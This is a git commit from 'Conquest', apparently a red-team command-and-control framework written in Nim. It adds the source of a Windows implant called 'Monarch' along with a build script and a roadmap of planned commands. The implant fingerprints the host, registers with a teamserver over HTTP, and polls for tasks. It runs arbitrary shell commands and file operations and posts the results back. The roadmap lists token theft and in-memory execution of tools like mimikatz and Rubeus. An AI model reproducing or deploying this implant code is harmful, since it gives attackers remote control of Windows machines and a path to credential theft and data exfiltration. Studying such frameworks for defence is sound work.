Updated directory structure.

This commit is contained in:
Jakob Friedl
2025-07-15 23:26:54 +02:00
parent 453971c0db
commit 668a4984d1
30 changed files with 139 additions and 136 deletions

13
src/agents/README.md Normal file
View File

@@ -0,0 +1,13 @@
# Conquest Agents
For cross-compilation from UNIX to Windows, use the following command:
```bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
```
or
```
./build.sh
```

44
src/agents/commands.md Normal file
View File

@@ -0,0 +1,44 @@
# "Monarch" Agent commands:
House-keeping
-------------
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
Basic API-only Commands
-----------------------
- [x] pwd : Get current working directory
- [x] cd : Change directory
- [x] ls/dir : List all files in directory (including hidden ones)
- [x] rm : Remove a file
- [x] rmdir : Remove a empty directory
- [x] mv : Move a file
- [x] cp : Copy a file
- [ ] cat/type : Display contents of a file
- [ ] env : Display environment variables
- [ ] ps : List processes
- [ ] whoami : Get UID and privileges, etc.
- [ ] token : Token impersonation
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
- [ ] rev2self : Revert to original logon session (RevertToSelf)
Execution Commands
------------------
- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
- Read from listener endpoint directly to memory
- Base for all kinds of BOFs (Situational Awareness, ...)
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
Post-Exploitation
-----------------
- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
- Read from webserver and written to disk
- [ ] download : Download file from agent to teamserver
- Create loot directory for agent to store files in
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
- Encrypt file in-transit!!!

View File

@@ -0,0 +1,111 @@
import winim, os, net, strformat, strutils, registry
import ./[types, utils]
# Hostname/Computername
proc getHostname*(): string =
var
buffer = newWString(CNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Domain Name
proc getDomain*(): string =
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
return $buffer[ 0 ..< int(dwSize)]
# Username
proc getUsername*(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Current process name
proc getProcessExe*(): string =
let
hProcess: HANDLE = GetCurrentProcess()
buffer = newWString(MAX_PATH + 1)
try:
if hProcess != 0:
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)
# Current process ID
proc getProcessId*(): int =
return int(GetCurrentProcessId())
# Current process elevation/integrity level
proc isElevated*(): bool =
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
return isAdmin()
# IPv4 Address (Internal)
proc getIPv4Address*(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version fingerprinting
proc getProductType(): ProductType =
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
# ProductType REG_SZ WinNT
# Possible values are:
# LanmanNT -> Server/Domain Controller
# ServerNT -> Server
# WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
of "WinNT":
return WORKSTATION
of "ServerNT":
return SERVER
of "LanmanNT":
return DC
proc getOSVersion*(): string =
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
var osInfo: types.OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
# echo $int(osInfo.dwBuildNumber)
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
# Normally, a value of 1 indicates a workstation os, while other values represent servers
# echo $int(osInfo.wProductType).toHex
# We instead retrieve the
return getWindowsVersion(osInfo, getProductType())
else:
return "Unknown"

View File

@@ -0,0 +1,4 @@
#!/bin/bash
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim

View File

@@ -0,0 +1,3 @@
import ./[shell, sleep, filesystem]
export shell, sleep, filesystem

View File

@@ -0,0 +1,332 @@
import os, strutils, strformat, base64, winim, times, algorithm, json
import ../types
# Retrieve current working directory
proc taskPwd*(task: Task): TaskResult =
echo fmt"Retrieving current working directory."
try:
# Get current working directory using GetCurrentDirectory
let
buffer = newWString(MAX_PATH + 1)
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
if length == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode($buffer[0 ..< (int)length] & "\n"),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Change working directory
proc taskCd*(task: Task): TaskResult =
# Parse arguments
let targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Changing current working directory to {targetDirectory}."
try:
# Get current working directory using GetCurrentDirectory
if SetCurrentDirectoryW(targetDirectory) == FALSE:
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# List files and directories at a specific or at the current path
proc taskDir*(task: Task): TaskResult =
# Parse arguments
var targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Listing files and directories."
try:
# Check if users wants to list files in the current working directory or at another path
if targetDirectory == "":
# Get current working directory using GetCurrentDirectory
let
cwdBuffer = newWString(MAX_PATH + 1)
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
if cwdLength == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
# Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*"
let searchPatternW = newWString(searchPattern)
var
findData: WIN32_FIND_DATAW
hFind: HANDLE
output = ""
entries: seq[string] = @[]
totalFiles = 0
totalDirs = 0
# Find files and directories in target directory
hFind = FindFirstFileW(searchPatternW, &findData)
if hFind == INVALID_HANDLE_VALUE:
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
# Directory was found and can be listed
else:
output = fmt"Directory: {targetDirectory}" & "\n\n"
output &= "Mode LastWriteTime Length Name" & "\n"
output &= "---- ------------- ------ ----" & "\n"
# Process all files and directories
while true:
let fileName = $cast[WideCString](addr findData.cFileName[0])
# Skip current and parent directory entries
if fileName != "." and fileName != "..":
# Get file attributes and size
let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
# Handle flags
var mode = ""
if isDir:
mode = "d"
inc totalDirs
else:
mode = "-"
inc totalFiles
if isArchive:
mode &= "a"
else:
mode &= "-"
if isReadOnly:
mode &= "r"
else:
mode &= "-"
if isHidden:
mode &= "h"
else:
mode &= "-"
if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
mode &= "s"
else:
mode &= "-"
# Convert FILETIME to local time and format
var
localTime: FILETIME
systemTime: SYSTEMTIME
dateTimeStr = "01/01/1970 00:00:00"
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
# Format date and time in PowerShell style
dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
# Format file size
var sizeStr = ""
if isDir:
sizeStr = "<DIR>"
else:
sizeStr = ($fileSize).replace("-", "")
# Build the entry line
let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
entries.add(entryLine)
# Find next file
if FindNextFileW(hFind, &findData) == 0:
break
# Close find handle
discard FindClose(hFind)
# Add entries to output after sorting them (directories first, files afterwards)
entries.sort do (a, b: string) -> int:
let aIsDir = a[0] == 'd'
let bIsDir = b[0] == 'd'
if aIsDir and not bIsDir:
return -1
elif not aIsDir and bIsDir:
return 1
else:
# Extract filename for comparison (last part after the last space)
let aParts = a.split(" ")
let bParts = b.split(" ")
let aName = aParts[^1]
let bName = bParts[^1]
return cmp(aName.toLowerAscii(), bName.toLowerAscii())
for entry in entries:
output &= entry & "\n"
# Add summary of how many files/directories have been found
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
output &= fmt"{totalDirs} dir(s)" & "\n"
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(output),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Remove file
proc taskRm*(task: Task): TaskResult =
# Parse arguments
let target = parseJson(task.args)["file"].getStr()
echo fmt"Deleting file {target}."
try:
if DeleteFile(target) == FALSE:
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Remove directory
proc taskRmdir*(task: Task): TaskResult =
# Parse arguments
let target = parseJson(task.args)["directory"].getStr()
echo fmt"Deleting directory {target}."
try:
if RemoveDirectoryA(target) == FALSE:
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Move file or directory
proc taskMove*(task: Task): TaskResult =
# Parse arguments
echo task.args
let
params = parseJson(task.args)
lpExistingFileName = params["from"].getStr()
lpNewFileName = params["to"].getStr()
echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)
# Copy file or directory
proc taskCopy*(task: Task): TaskResult =
# Parse arguments
let
params = parseJson(task.args)
lpExistingFileName = params["from"].getStr()
lpNewFileName = params["to"].getStr()
echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
try:
# Copy file to new location, overwrite if a file with the same name already exists
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -0,0 +1,30 @@
import winim, osproc, strutils, strformat, base64, json
import ../types
proc taskShell*(task: Task): TaskResult =
# Parse arguments JSON string to obtain specific values
let
params = parseJson(task.args)
command = params["command"].getStr()
arguments = params["arguments"].getStr()
echo fmt"Executing command {command} with arguments {arguments}"
try:
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(output),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -0,0 +1,27 @@
import os, strutils, strformat, base64, json
import ../types
proc taskSleep*(task: Task): TaskResult =
# Parse task parameter
let delay = parseJson(task.args)["delay"].getInt()
echo fmt"Sleeping for {delay} seconds."
try:
sleep(delay * 1000)
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(""),
status: Completed
)
except CatchableError as err:
return TaskResult(
task: task.id,
agent: task.agent,
data: encode(fmt"An error occured: {err.msg}" & "\n"),
status: Failed
)

View File

@@ -0,0 +1,74 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
proc register*(config: AgentConfig): string =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated(),
"sleep": config.sleep
}
echo $body
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
let client = newAsyncHttpClient()
var responseBody = ""
try:
# Register agent to the Conquest server
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task])
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: ", responseBody
finally:
client.close()
return @[]
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let taskJson = %taskResult
echo $taskJson
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg
return false
finally:
client.close()
return true

View File

@@ -0,0 +1,73 @@
import strformat, os, times
import winim
import ./[types, http, taskHandler]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config = AgentConfig(
listener: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered."
#[
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
]#
while true:
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = config.getTasks(agent)
if tasks.len <= 0:
echo "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
for task in tasks:
let result: TaskResult = task.handleTask(config)
discard config.postResults(agent, result)
when isMainModule:
main()

View File

@@ -0,0 +1,8 @@
# Agent configuration
-d:ListenerUuid="JEBFQPEP"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555
-d:SleepDelay=5

View File

@@ -0,0 +1,34 @@
import strutils, tables, json
import ./types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
let handlers = {
ExecuteShell: taskShell,
Sleep: taskSleep,
GetWorkingDirectory: taskPwd,
SetWorkingDirectory: taskCd,
ListDirectory: taskDir,
RemoveFile: taskRm,
RemoveDirectory: taskRmdir,
Move: taskMove,
Copy: taskCopy
}.toTable
# Handle task command
taskResult = handlers[task.command](task)
echo taskResult.data
# Handle actions on specific commands
case task.command:
of Sleep:
if taskResult.status == Completed:
config.sleep = parseJson(task.args)["delay"].getInt()
else:
discard
# Return the result
return taskResult

View File

@@ -0,0 +1,32 @@
import winim, tables
import ../../types
export Task, CommandType, TaskResult, TaskStatus
type
ProductType* = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR
type
AgentConfig* = ref object
listener*: string
ip*: string
port*: int
sleep*: int

View File

@@ -0,0 +1,65 @@
import strformat
import ./types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"